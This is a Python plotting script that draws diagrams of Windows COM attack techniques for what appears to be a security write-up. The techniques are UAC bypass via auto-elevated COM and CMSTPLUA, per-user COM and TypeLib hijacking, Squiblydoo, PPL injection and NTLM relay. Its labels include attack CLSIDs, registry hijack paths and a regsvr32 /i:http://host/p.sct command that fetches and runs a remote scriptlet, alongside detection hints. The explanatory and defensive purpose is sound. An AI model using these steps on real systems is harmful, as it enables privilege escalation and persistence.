"""d18-d25: UAC bypass + persistence + execution/defense-evasion."""
from diag import *


def d18():
    fig, ax = canvas("Auto-elevated COM: the prompt that never appears",
                     w=12.5, h=6.0)
    label(ax, 4.5, 51.5, "A — normal elevation", fs=10, weight="bold", ha="left")
    mA = box(ax, 16, 42, 20, 8, "medium-IL\nprocess", fs=9)
    ap = box(ax, 44, 42, 16, 8, "APPINFO", fs=9.5, weight="bold")
    cp = box(ax, 70, 42, 18, 8, "consent\nprompt", fs=9)
    hA = box(ax, 98, 42, 18, 8, "high-IL\nprocess", fs=9)
    conn(ax, mA, "r", ap, "l", label="consent check", ly=1.8, fs=8.5,
         va="bottom")
    conn(ax, ap, "r", cp, "l", label="prompts user", ly=1.8, fs=8.5,
         va="bottom")
    conn(ax, cp, "r", hA, "l", label="approved", ly=1.8, fs=8.5, va="bottom")
    ax.plot([4, 121], [31, 31], color=RULE, lw=1.0, zorder=1)
    label(ax, 4.5, 26.5, "B — COM auto-elevation (no prompt)", fs=10,
          weight="bold", ha="left", color=ATTACK)
    mB = box(ax, 16, 16, 20, 8, "medium-IL\nprocess", fs=9)
    au = box(ax, 48, 16, 28, 10, "auto-elevated COM class\n(autoElevate manifest)",
             fs=8.5)
    ob = box(ax, 86, 16, 24, 9, "high-IL object\nWITHOUT prompt", fs=9,
             edge=ATTACK, lw=2.2, tc=ATTACK)
    wr = box(ax, 115, 16, 18, 9, "write to\n%windir%\\System32", fs=8.5,
             mono=True)
    conn(ax, mB, "r", au, "l", kind="attack", label="CoCreateInstance",
         ly=5.8, fs=8.5, mono=True, lc=ATTACK, va="bottom")
    conn(ax, au, "r", ob, "l", kind="attack", label="no prompt", ly=2.6,
         fs=8.5, lc=ATTACK, va="bottom")
    conn(ax, ob, "r", wr, "l", kind="attack", label="IFileOperation.CopyItem",
         ly=4.8, fs=8.5, mono=True, lc=ATTACK, va="bottom")
    return save(fig, "d18-uac-autoelevate.png")


def d19():
    fig, ax = canvas("IFileOperation bypass chain", w=13.0, h=5.2)
    b1 = box(ax, 20, 34, 34, 13,
             "bind elevated IFileOperation\n{3AD05575-8857-4850-9277-11B85BDB8E09}",
             fs=8.5, mono=True)
    b2 = box(ax, 62, 34, 28, 13,
             "SetOperationFlags(\nFOFX_NOCONFIRMATION |\nFOFX_SILENT ...)",
             fs=8.5, mono=True)
    b3 = box(ax, 104, 34, 34, 13,
             "CopyItem(payload.dll →\nC:\\Windows\\System32\\...)", fs=8.5,
             mono=True)
    b4 = box(ax, 104, 11, 28, 11, "PerformOperations()", fs=9, mono=True)
    b5 = box(ax, 48, 11, 44, 11,
             "auto-elevated process loads planted DLL\n→ high-IL execution",
             fs=9, edge=ATTACK, lw=2.2, tc=ATTACK)
    conn(ax, b1, "r", b2, "l", kind="attack", label="bind", ly=1.4, fs=8.5,
         va="bottom")
    conn(ax, b2, "r", b3, "l", kind="attack", label="queue op", ly=1.4,
         fs=8.5, va="bottom")
    conn(ax, b3, "b", b4, "t", kind="attack", label="execute", lx=8.0, fs=8.5,
         lc=ATTACK)
    conn(ax, b4, "l", b5, "r", kind="attack", label="triggers load", ly=1.4,
         fs=8.5, va="bottom")
    for i, b in enumerate([b1, b2, b3, b4, b5], 1):
        step_circle(ax, b.l, b.t, i)
    note(ax, 36, 2.6, "signal: medium-IL process writing into System32 via COM",
         kind="defense", fs=8.5)
    return save(fig, "d19-ifileoperation-chain.png")


def d20():
    fig, ax = canvas("CMSTPLUA / ICMLuaUtil", w=12.0, h=5.0)
    b1 = box(ax, 20, 32, 34, 14,
             "activate CMSTPLUA\n{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\nauto-elevated · cmstp-hosted",
             fs=8.5, mono=True)
    b2 = box(ax, 60, 32, 22, 14, "get ICMLuaUtil\ninterface", fs=9, mono=True)
    b3 = box(ax, 98, 32, 30, 14, "ShellExec(\"cmd.exe\",\n\"/c ...\")", fs=9,
             mono=True)
    b4 = box(ax, 98, 11, 30, 9, "high-IL child process", fs=9, edge=ATTACK,
             lw=2.2, tc=ATTACK)
    conn(ax, b1, "r", b2, "l", kind="attack", label="QueryInterface", ly=1.5,
         fs=8.5, mono=True, va="bottom")
    conn(ax, b2, "r", b3, "l", kind="attack", label="invoke", ly=1.5, fs=8.5,
         va="bottom")
    conn(ax, b3, "b", b4, "t", kind="attack", label="spawns", lx=7.5, fs=8.5,
         lc=ATTACK)
    for i, b in enumerate([b1, b2, b3], 1):
        step_circle(ax, b.l, b.t, i)
    note(ax, 45, 10, "variant: SetRegistryStringValue →\nelevated registry write",
         kind="research", fs=8.5, mono=True)
    return save(fig, "d20-cmstplua-chain.png")


def d21():
    fig, ax = canvas("Per-user COM hijack", w=12.0, h=6.5)
    atk = box(ax, 18, 48, 22, 9, "Attacker\n(medium IL)", fs=9)
    reg = box(ax, 62, 48, 52, 10,
              "HKCU\\Software\\Classes\\CLSID\\{target}\\\nInprocServer32 = payload.dll",
              fs=8.5, mono=True)
    arrow(ax, atk.side("r"), reg.side("l"), kind="attack",
          label="write\nno admin", ly=1.5, fs=8.5, lc=ATTACK, va="bottom")
    start = box(ax, 18, 26, 26, 9, "auto-start process\n(logon)", fs=9)
    mrg = box(ax, 62, 26, 30, 10, "merged HKCR view\nresolves to HKCU entry",
              fs=9)
    pay = box(ax, 98, 26, 24, 9, "payload.dll loaded", fs=9, edge=ATTACK,
              lw=2.2, tc=ATTACK)
    arrow(ax, start.side("r"), mrg.side("l"), kind="normal",
          label="activates {target}\nvia CoCreateInstance", ly=1.5, fs=8.5,
          mono=True, va="bottom")
    arrow(ax, mrg.side("r"), pay.side("l"), kind="attack", label="loads",
          ly=1.3, fs=8.5, va="bottom")
    arrow(ax, reg.side("b"), mrg.side("t"), kind="attack",
          label="shadows HKLM\n(per-user hive wins)", lx=2.5, fs=8.5,
          lc=ATTACK, ha="left")
    # inset: HKCU-over-HKLM precedence
    label(ax, 24, 16.8, "inset: HKCU-over-HKLM precedence", fs=8.5,
          weight="bold", color=SUB)
    i1 = box(ax, 14, 11.5, 16, 5, "HKCU", fs=8.5, mono=True)
    i2 = box(ax, 14, 5.5, 16, 5, "HKLM", fs=8.5, mono=True)
    i3 = box(ax, 41, 8.5, 14, 6, "HKCR", fs=8.5, mono=True)
    arrow(ax, i1.side("r"), i3.side("l", 0.75), kind="attack", ms=10)
    arrow(ax, i2.side("r"), i3.side("l", 0.25), kind="normal", ms=10)
    label(ax, 28.5, 13.8, "wins", fs=8.5, color=ATTACK, weight="bold")
    note(ax, 88, 8, "hunt: InprocServer32 under HKCU\npointing to user-writable paths",
         kind="defense", fs=8.5)
    return save(fig, "d21-com-hijack.png")


def d22():
    fig, ax = canvas("TreatAs and TypeLib redirection", w=12.0, h=6.0)
    ax.plot([59, 59], [7, 55], color=SUB, lw=1.0, linestyle=BDASH, zorder=1)
    label(ax, 30, 53, "A — TreatAs redirection", fs=10, weight="bold")
    a1 = box(ax, 30, 44, 40, 8, "HKCR\\CLSID\\{A}\\TreatAs = {B}", fs=8.5,
             mono=True)
    a2 = box(ax, 30, 29, 36, 9, "CoTreatAsClass → activation\nreturns class B object",
             fs=8.5, mono=True)
    a3 = box(ax, 30, 14, 32, 9, "attacker class B loaded", fs=9, edge=ATTACK,
             lw=2.2, tc=ATTACK)
    arrow(ax, a1.side("b"), a2.side("t"), kind="normal",
          label="activation of A\nCoCreateInstance({A})", lx=3.0, fs=8.5,
          mono=True, ha="left")
    arrow(ax, a2.side("b"), a3.side("t"), kind="attack",
          label="point A at\nattacker class", lx=3.0, fs=8.5, lc=ATTACK,
          ha="left")
    label(ax, 90, 53, "B — TypeLib hijack", fs=10, weight="bold")
    b1 = box(ax, 90, 44, 46, 9,
             "HKCU\\Software\\Classes\\TypeLib\\{TLBID}\\x.y\\0\\win32",
             fs=8.5, mono=True)
    b2 = box(ax, 90, 27, 40, 10, "marshaling redirection\nfor any automation client",
             fs=9, edge=ATTACK, lw=2.2, tc=ATTACK)
    arrow(ax, b1.side("b"), b2.side("t"), kind="attack",
          label="oleaut32 loads\nattacker typelib/proxy", lx=3.0, fs=8.5,
          lc=ATTACK, ha="left")
    label(ax, 90, 19.5, "per-user override — no admin needed", fs=8.5,
          color=ATTACK)
    return save(fig, "d22-treatas-typelib.png")


def d23():
    fig, ax = canvas("Squiblydoo: scriptlets via signed proxy", w=12.0, h=5.0)
    b1 = box(ax, 16, 31, 24, 10, "regsvr32.exe\n(Microsoft-signed)", fs=9)
    b2 = box(ax, 56, 31, 26, 10, "scrobj.dll parses\nCOM scriptlet", fs=9)
    b3 = box(ax, 97, 31, 26, 10, "JScript/VBScript runs\n→ CreateObject / payload",
             fs=9, edge=ATTACK, lw=2.2, tc=ATTACK)
    conn(ax, b1, "r", b2, "l", kind="attack",
         label="/i:http://host/p.sct scrobj.dll", ly=5.4, fs=8.5, mono=True,
         lc=ATTACK, va="bottom")
    conn(ax, b2, "r", b3, "l", kind="attack", label="script runs", ly=1.6,
         fs=8.5, va="bottom")
    n1 = note(ax, 22, 10, "AWL bypass: host binary is signed", kind="defense",
              fs=8.5)
    n2 = note(ax, 57, 10, "AMSI scans script content", kind="defense", fs=8.5)
    n3 = note(ax, 96, 10, "Sysmon 7: image load scrobj.dll", kind="defense",
              fs=8.5)
    ax.plot([20, 17], [12.7, 26], color=DEF, lw=1.0, linestyle=DASH, zorder=2)
    ax.plot([56, 53], [12.7, 26], color=DEF, lw=1.0, linestyle=DASH, zorder=2)
    ax.plot([93, 66], [12.7, 26], color=DEF, lw=1.0, linestyle=DASH, zorder=2)
    return save(fig, "d23-squiblydoo.png")


def d24():
    fig, ax = canvas("Type-library substitution → code in PPL (Forshaw, 2018)",
                     w=13.0, h=5.0,
                     caption="fixed by Microsoft; still the model for marshaling-confusion research")
    b1 = box(ax, 18, 29, 30, 15,
             "attacker plants substitute\ntypelib/proxy registration\nin HKCU",
             fs=8.5)
    b2 = box(ax, 52, 29, 28, 15,
             "PPL process (protected\nsvchost) activates\nthe interface", fs=8.5)
    b3 = box(ax, 86, 29, 30, 15,
             "oleaut32 unmarshals with\nattacker-defined layout\n→ type confusion",
             fs=8.5)
    b4 = box(ax, 117, 29, 22, 15, "arbitrary call/exec\ninside PPL", fs=9,
             edge=ATTACK, lw=2.2, tc=ATTACK)
    conn(ax, b1, "r", b2, "l", kind="attack", label="hijack", ly=8.5, fs=8.5,
         va="bottom")
    conn(ax, b2, "r", b3, "l", kind="attack", label="activation", ly=8.5,
         fs=8.5, va="bottom")
    conn(ax, b3, "r", b4, "l", kind="attack", label="unmarshal", ly=8.5,
         fs=8.5, va="bottom")
    for i, b in enumerate([b1, b2, b3, b4], 1):
        step_circle(ax, b.l, b.t, i)
    return save(fig, "d24-ppl-injection.png")


def d25():
    fig, ax = canvas("Coercion + relay: where COM plugs in", w=13.0, h=5.0,
                     caption="COM links: IStorage trigger · DCOM activation · object method call   |   pure-RPC link: coercion (MS-RPRN / PetitPotam)")
    atk = box(ax, 11, 31, 16, 9, "Attacker", fs=10)
    vic = box(ax, 48, 31, 26, 10, "victim service\n(SYSTEM / machine acct)",
              fs=9)
    rel = box(ax, 84, 31, 28, 10, "relay target / loopback\nDCOM · LDAP · SMB",
              fs=9)
    exc = box(ax, 115, 31, 22, 9, "code execution", fs=9.5, edge=ATTACK,
              lw=2.2, tc=ATTACK)
    arrow(ax, atk.side("r"), vic.side("l"), kind="attack",
          label="coerce SYSTEM/machine auth\nMS-RPRN · PetitPotam · IStorage\n[pure RPC]",
          ly=5.4, fs=8.5, mono=True, lc=ATTACK, va="bottom")
    step_circle(ax, 21.5, 31, 1)
    arrow(ax, vic.side("r"), rel.side("l"), kind="attack",
          label="relay NTLM auth\nto target / loopback\n[COM when DCOM]",
          ly=5.4, fs=8.5, mono=True, lc=ATTACK, va="bottom")
    step_circle(ax, 63.5, 31, 2)
    arrow(ax, rel.side("r"), exc.side("l"), kind="attack",
          label="DCOM-activated\nobject method executes\n[COM]", ly=5.4,
          fs=8.5, mono=True, lc=ATTACK, va="bottom")
    step_circle(ax, 100.5, 31, 3)
    return save(fig, "d25-relay-chain.png")


ALL = [d18, d19, d20, d21, d22, d23, d24, d25]
